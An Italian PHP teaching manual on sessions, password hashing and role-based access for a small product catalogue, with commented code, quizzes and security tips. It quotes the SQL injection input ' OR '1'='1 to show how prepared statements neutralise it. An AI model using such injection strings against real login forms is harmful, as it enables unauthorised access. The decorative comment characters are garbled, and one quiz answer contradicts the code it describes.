<?php // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 0: AVVIA IL SISTEMA DI SESSIONI β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // session_start() DEVE essere la PRIMA riga, prima di qualsiasi output! // Crea il "badge" se non esiste, o lo legge se esiste giΓ // ATTENZIONE: niente spazi prima di questa riga! // PerchΓ©? Il cookie che identifica "l'armadietto" (i dati della sessione) viene inviato nell'intestazione HTTP. // Se c'Γ¨ anche solo uno spazio prima, PHP invia l'intestazione prima che session_start() crei il cookie, // e la sessione non funzionerΓ (il server senza il cookie non sa quale armadietto aprire). session_start(); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 1: COLLEGATI AL DATABASE β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ require_once 'connessione.php'; // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 2: RECUPERA I DATI INVIATI DAL FORM β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Recupera username e password inviati dal form // $_POST Γ¨ la "scatola magica" che contiene i dati del form $username = $_POST['username']; $password = $_POST['password']; // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 3: PREPARA LA QUERY CON I "BUCHI" (segnaposto) β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Cerca l'utente con questo username // Il ? Γ¨ il segnaposto: "cerca l'utente con username = [VALORE CHE ARRIVA DOPO]" $stmt = $conn->prepare("SELECT * FROM utenti WHERE username = ?"); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 4: RIEMPI I "BUCHI" CON I VALORI REALI β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // "s" = stringa (username Γ¨ testo) // Inseriamo $username al posto del primo (e unico) segnaposto ? $stmt->bind_param("s", $username); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 5: ESEGUI LA RICERCA β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $stmt->execute(); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 6: OTTIENI I RISULTATI β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $result = $stmt->get_result(); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 7: CONTROLLA SE L'UTENTE ESISTE β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Se non troviamo l'username nel database (num_rows = 0)... if ($result->num_rows === 0) { // Utente non trovato! Mostra errore con echo (come nel resto del manuale) echo "<h2>β Errore di accesso</h2>"; echo "<p>Username non trovato!</p>"; echo "<p><a href='login.html'>β Torna al login</a></p>"; // Chiudi statement e connessione prima di uscire $stmt->close(); $conn->close(); exit(); // dopo l'esecuzione di exit() non vengono eseguite altre istruzioni } // Se l'utente esiste, prendi i suoi dati (come array associativo) // $utente contiene: id, username, password (hash), tipo $utente = $result->fetch_assoc(); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 8: VERIFICA LA PASSWORD β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // password_verify() confronta la password digitata con l'hash nel database // NON confrontiamo direttamente le stringhe! Confrontiamo l'hash // password_verify() Γ¨ magica: sa se la password "password123" genera quell'hash if (!password_verify($password, $utente['password'])) { // Password sbagliata! Mostra errore con echo echo "<h2>β Errore di accesso</h2>"; echo "<p>Password errata!</p>"; echo "<p><a href='login.html'>β Torna al login</a></p>"; // Chiudi statement e connessione prima di uscire $stmt->close(); $conn->close(); exit(); // dopo l'esecuzione di exit() non vengono eseguite altre istruzioni } // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 9: CREA LA SESSIONE (IL "BADGE IDENTIFICATIVO") β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Salva i dati dell'utente nell'array $_SESSION // Questi dati rimarranno disponibili in TUTTE le pagine fino al logout // Γ come scrivere sul badge: "Nome: Mario, Ruolo: Venditore" $_SESSION['logged_in'] = true; // Flag: l'utente Γ¨ loggato $_SESSION['username'] = $utente['username']; // Salva l'username $_SESSION['tipo'] = $utente['tipo']; // Salva il tipo (acquirente/venditore) $_SESSION['id'] = $utente['id']; // Salva l'ID utente (utile per log) // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 10: CHIUDI STATEMENT E CONNESSIONE β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ $stmt->close(); $conn->close(); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 11: REINDIRIZZA ALLA PAGINA PERSONALE β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // header("Location: ...") reindirizza il browser alla pagina specificata (dashboard.php) // DEVE essere chiamato prima di qualsiasi output HTML, altrimenti non funziona! header("Location: dashboard.php"); // exit() ferma l'esecuzione dello script dopo il reindirizzamento exit(); ?>
else?if ($result->num_rows === 0) { // mostra errore exit(); // β FERMA TUTTO}// Se arriviamo QUI, significa che l'IF era FALSO$utente = $result->fetch_assoc();
exit() ferma tuttoexit() ferma immediatamente l'esecuzione dello script PHP.else: se il codice continua, Γ¨ perchΓ© la condizione dell'if era falsa!
$stmt = $conn->prepare("SELECT * FROM utenti WHERE username = ?")?, esattamente come in inserimento.php e ricerca.php.' OR '1'='1 come username, viene trattato come semplice testo, non come codice SQL.
$stmt->bind_param("s", $username)$utente = $result->fetch_assoc()$utente['username'], $utente['password'], $utente['tipo'].
password_verify($password, $utente['password'])true se coincidono, false se no$_SESSION['username'] = $utente['username']$_SESSION Γ¨ un array associativo speciale:
$_SESSION['chiave']session_start() o header().<?php.
header() deve essere la prima cosa che il server comunica al browser e quindi la prima istruzione che produce output, perchΓ© puoi immaginare header() come l'etichetta su un pacco e le istruzioni di output come il contenuto del pacco ed il server PHP come un postino che invia il pacco non appena tu inserisci qualcosa: non puoi attaccare l'etichetta se il pacco Γ¨ giΓ stato spedito.
La comunicazione tra server PHP e il client (ed in particolare il browser del client) Γ¨ composta da due parti: l'intestazione e il corpo (il contenuto visualizzato). Appena PHP incontra un singolo spazio, un pezzo di HTML o un echo, o una qualsiasi altra istruzione di output, invia il contenuto al browser con le intestazioni di default. Per questo, se provi un codice PHP in cui l'istruzione header() Γ¨ preceduta anche da un solo echo "ciao", il server restituirΓ un errore. Γ come se provassi a cambiare l'intestazione di una lettera dopo che giΓ Γ¨ stata spedita.
<?php sia il primissimo carattere del file (niente righe vuote sopra).echo o un blocco HTML prima di un'istruzione header(...).include o require) non abbiano una riga vuota dopo la chiusura del tag ?>. Quella riga verrebbe considerata output (riga vuota nella finestra del browser) e spedita al browser, impedendo al file principale di usare la funzione header(). In breve: l'ultima riga del file deve coincidere con la chiusura del codice ?>, senza alcun invio o spazio dopo di essa.header("Location: ...") NON ferma lo script. Senza exit(), PHP continua a eseguire il codice sottostante, causando comportamenti imprevedibili.
π― Regola: Dopo ogni header("Location: ..."), metti SEMPRE exit().
<?php // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 0: AVVIA SEMPRE LA SESSIONE (prima di tutto!) β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ session_start(); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 1: CONTROLLA SE L'UTENTE Γ LOGGATO β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // Controlla se la variabile di sessione non Γ¨ stata settata OPPURE Γ¨ stata settata ma il login non Γ¨ andato a buon fine if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) { // L'utente non Γ¨ loggato! Reindirizza al login // header() reindirizza alla pagina specificata (login.html) - DEVE essere prima di qualsiasi output HTML header("Location: login.html"); exit(); // Ferma tutto } // Se arriviamo qui, l'utente Γ¨ loggato. Recuperiamo i suoi dati attraverso la sessione: $username = $_SESSION['username']; // Es: "mario_venditore" $tipo = $_SESSION['tipo']; // Es: "venditore" o "acquirente" // βββββββββββββββββββοΏ½οΏ½οΏ½ββββββββββββββββββββββββββββββββββββββ // β PASSO 2: INIZIA A COSTRUIRE LA PAGINA HTML β // ββββββββββββββββββββββββοΏ½οΏ½οΏ½βββββββββοΏ½οΏ½βββββββββββββββββββββββ // Intestazione HTML con doctype e head echo "<!DOCTYPE html>"; echo "<html lang='it'>"; echo "<head>"; echo " <meta charset='UTF-8'>"; echo " <title>Dashboard - Area Riservata</title>"; echo "</head>"; echo "<body>"; // Intestazione personalizzata con il nome utente // htmlspecialchars() protegge da XSS quando mostriamo dati utente echo "<h2>π Benvenuto, " . htmlspecialchars($username) . "!</h2>"; echo "<p>Tipo di account: <strong>" . htmlspecialchars($tipo) . "</strong></p>"; echo "<hr>"; // Menu comune a TUTTI gli utenti echo "<h3>π Ricerca Prodotti</h3>"; echo "<p>Tutti gli utenti possono cercare i prodotti nel catalogo:</p>"; echo "<a href='ricerca.html'>π Vai alla ricerca</a>"; echo "<hr>"; // Menu SOLO per VENDITORI // Usiamo un IF: se il tipo Γ¨ "venditore", mostra questa sezione if ($tipo === 'venditore') { echo "<h3>π Gestione Prodotti (Solo Venditori)</h3>"; echo "<p>Come venditore, puoi aggiungere nuovi prodotti:</p>"; echo "<a href='inserimento.html'>β Inserisci nuovo prodotto</a>"; echo "<hr>"; } // Logout disponibile per tutti echo "<p><a href='logout.php'>πͺ Esci (Logout)</a></p>"; // Chiudi il body e l'html echo "</body>"; echo "</html>"; ?>
if ($tipo === 'venditore') { ... }{ } come nel resto del manuale.
<?php // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 0: AVVIA LA SESSIONE (per poterla cancellare!) β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ session_start(); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 1: SVUOTA TUTTI I DATI DELLA SESSIONE β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // $_SESSION = [] svuota l'array (rimuove username, tipo, ecc.) // Γ come "svuotare l'armadietto" $_SESSION = []; // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 2: DISTRUGGI IL FILE DELLA SESSIONE SUL SERVER β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // session_destroy() cancella il file temporaneo sul server // Γ come "tagliare il badge" - non esiste piΓΉ session_destroy(); // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PASSO 3: REINDIRIZZA ALLA HOME PUBBLICA β // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // header() reindirizza alla pagina specificata (index.html) - DEVE essere prima di qualsiasi output HTML header("Location: index.html"); exit(); ?>
$_SESSION = [] svuota i dati in memoria (immediato)session_destroy() cancella il file sul server (permanente)session_destroy() a volte lascia residui in memoriahttp://localhost/progetto/inserimento.html e bypassare il login!<?php // ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ // β PROTEZIONE: CONTROLLA SESSIONE E PERMESSI β // ββββββββββββββββοΏ½οΏ½βββββββββββββββββββββββββββββββββββββββββ // Avvia la sessione (prima di tutto!) session_start(); // Controllo 1: Sei loggato? if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) { // Controlla se La variabile di sessione non Γ¨ stata settata OPPURE Γ¨ stata settata ma il login non Γ¨ andato a buon fine // Non uscire messaggi di errore, semplicemente reindirizza al login // header() reindirizza alla pagina specificata (login.html) - DEVE essere prima di qualsiasi output HTML header("Location: login.html"); exit(); } // Controllo 2: Sei un venditore? if ($_SESSION['tipo'] !== 'venditore') { // L'utente Γ¨ loggato, ma non ha i permessi! // Mostriamo un messaggio chiaro con echo echo "<h2>β Accesso negato!</h2>"; echo "<p>Solo i venditori possono inserire prodotti.</p>"; echo "<p><a href='dashboard.php'>β Torna alla tua dashboard</a></p>"; exit(); } // Se arriviamo qui, l'utente Γ¨ un venditore autorizzato // Recupera il nome per il messaggio di benvenuto personalizzato $username = $_SESSION['username'];?>// 5. Include la connessione al database require_once 'connessione.php'; // 6. Recupera i dati dal form POST $nome = isset($_POST['nome']) ? trim($_POST['nome']) : ''; $descrizione = isset($_POST['descrizione']) ? trim($_POST['descrizione']) : ''; $prezzo = isset($_POST['prezzo']) ? floatval($_POST['prezzo']) : 0; $categoria = isset($_POST['categoria']) ? trim($_POST['categoria']) : ''; // NOTA: trim() rimuove spazi iniziali e finali da una stringa // floatval() converte un valore in numero decimale (float) // Esempio: trim(" Mario ") β "Mario" | floatval("19.99") β 19.99 // 7. Verifica e elabora if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($nome) && !empty($descrizione) && $prezzo > 0) { // 8. Caricamento immagine (opzionale) $immagine = ''; if (isset($_FILES['immagine']) && $_FILES['immagine']['error'] === UPLOAD_ERR_OK) { $ext = strtolower(pathinfo($_FILES['immagine']['name'], PATHINFO_EXTENSION)); if (in_array($ext, ['jpg','jpeg','png','gif','webp'])) { $immagine = 'immagini/' . uniqid('prod_') . '.' . $ext; move_uploaded_file($_FILES['immagine']['tmp_name'], $immagine); } } // 9. Inserisci nel DB $sql = "INSERT INTO prodotti (nome,descrizione,prezzo,categoria,immagine,venditore,data_inserimento) VALUES (?,?,?,?,?,?,NOW())"; $stmt = $conn->prepare($sql); $stmt->bind_param("ssdsss", $nome, $descrizione, $prezzo, $categoria, $immagine, $username); if ($stmt->execute()) { echo "β Prodotto inserito! ID: " . $conn->insert_id . "
"; echo ""; } $stmt->close(); } // 10. Chiudi connessione $conn->close();
| Livello | File | Controlla | Se fallisce |
|---|---|---|---|
| 1. Sessione | Tutte le pagine protette | logged_in === true |
Reindirizza a login.html |
| 2. Permessi | inserimento.php | tipo === 'venditore' |
Messaggio "Accesso negato" con echo |
| 3. Query | Tutte le pagine DB | Prepared statement | Protegge da SQL injection |
<?php // Protezione base: solo utenti loggati session_start(); // Controlla se la variabile di sessione non Γ¨ stata settata OPPURE Γ¨ stata settata ma il login non Γ¨ andato a buon fine if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) { // header() reindirizza alla pagina specificata (login.html) - DEVE essere prima di qualsiasi output HTML header("Location: login.html"); exit(); } // Recupera il tipo per personalizzare il messaggio (opzionale) $tipo = $_SESSION['tipo']; $username = $_SESSION['username']; require_once 'connessione.php';// Possiamo personalizzare l'intestazione in base al tipo: echo "<h2>π Cerca Prodotti</h2>"; echo "<p>Benvenuto " . htmlspecialchars($username) . " (" . htmlspecialchars($tipo) . ")</p>"; ?>// Recupera il termine cercato $nome = $_GET['nome']; // Prepara la query $stmt = $conn->prepare("SELECT * FROM prodotti WHERE nome = ?"); $stmt->bind_param("s", $nome); $stmt->execute(); $result = $stmt->get_result(); // Mostra i risultati echo "Risultati per '" . htmlspecialchars($nome) . "'
"; if ($result->num_rows > 0) { echo "Trovati " . $result->num_rows . " prodotti:
"; echo ""; echo "
"; } else { echo ""; while($row = $result->fetch_assoc()) { echo " ID Nome Prezzo "; echo " "; } echo "" . $row["id"] . " "; echo "" . htmlspecialchars($row["nome"]) . " "; echo "β¬" . $row["prezzo"] . " "; echo "β Nessun prodotto trovato.
"; } // Link echo ""; // Chiudi connessioni $stmt->close(); $conn->close();
| session_start() | Attiva/legge la sessione. Prima di tutto! Prima di qualsiasi output HTML. |
| $_SESSION | Array associativo dove salvi dati persistenti (username, tipo, ecc.). I dati sono sul server, sicuri. |
| header("Location: ...") | Reindirizza a un'altra pagina. Prima di output! Seguito sempre da exit(). |
| echo "..." | Genera tutto l'output HTML. Niente HTML fuori dai tag PHP! |
| password_hash() | Crea hash sicuri da salvare nel database (mai password in chiaro!). Usa PASSWORD_DEFAULT. |
| password_verify() | Confronta password digitata con hash nel database. Restituisce true/false. |
| isset($_SESSION['chiave']) | Controlla se una variabile di sessione esiste (evita errori "undefined index"). |
| session_destroy() | Cancella definitivamente la sessione. Usa dopo $_SESSION = []. |
session_start() deve essere la prima riga del file PHP?
session_start() crei il cookie, e quindi PHP segnalerΓ un warning e la sessione non funzionerΓ (il server non avendo il cookie, il bigliettino con l'etichetta dell'armadietto, non saprebbe come recuperare i dati di sessione).$_SESSION? Sul client o sul server?
$_POST (dati del form) e $_SESSION (dati della sessione)?
$_POST dura solo per quella pagina: i dati del form arrivano e poi spariscono. $_SESSION rimane attivo mentre navighi nel sito: i dati restano disponibili finchΓ© non chiudi il browser o fai logout.password_hash() invece di salvare la password normale nel database?
$_SESSION['tipo_utente']. Se Γ¨ "venditore", mostriamo il link per inserire prodotti. Se Γ¨ "acquirente", mostriamo solo la ricerca.inserimento.php scrivendo l'URL?
inserimento.php controlla il tipo di utente all'inizio. Se non Γ¨ un venditore, viene reindirizzato alla pagina di ricerca con header('Location: ...').Se sai rispondere, hai padroneggiato le sessioni e l'autenticazione! π
registrazione.php che permetta di creare nuovi account. Solo account acquirente (non permettere di creare venditori).profilo.php dove l'utente vede le proprie informazioni e puΓ² modificare la password.log_accessi che registri ogni tentativo di login (username, data, esito: successo/fallito, IP).$_SESSION['ultimo_accesso'] = time() e confronta con time().Nascondere i link (non mostrare il pulsante "Inserisci" agli acquirenti) Γ¨ utile per l'usabilitΓ , ma NON Γ¨ sicurezza!
Un utente malintenzionato potrebbe:
inserimento.php nella barra degli indirizziLa protezione deve essere sempre lato server (nel codice PHP), mai solo lato client (nascndendo link).
session_regenerate_id(true) per prevenire session fixation.session_set_cookie_params(['secure' => true, 'httponly' => true]).
ποΈ // ... resto del codice ... (clicca per espandere)
ποΈ // ... resto come nella sezione X - clicca per vedere comunque il codice ...
sezione 8 β Caricamento file (messaggi di conferma)sezione 8.2 β Inserimento prodotti (codice completo)sezione 6 β Ricerca prodotti (query e visualizzazione)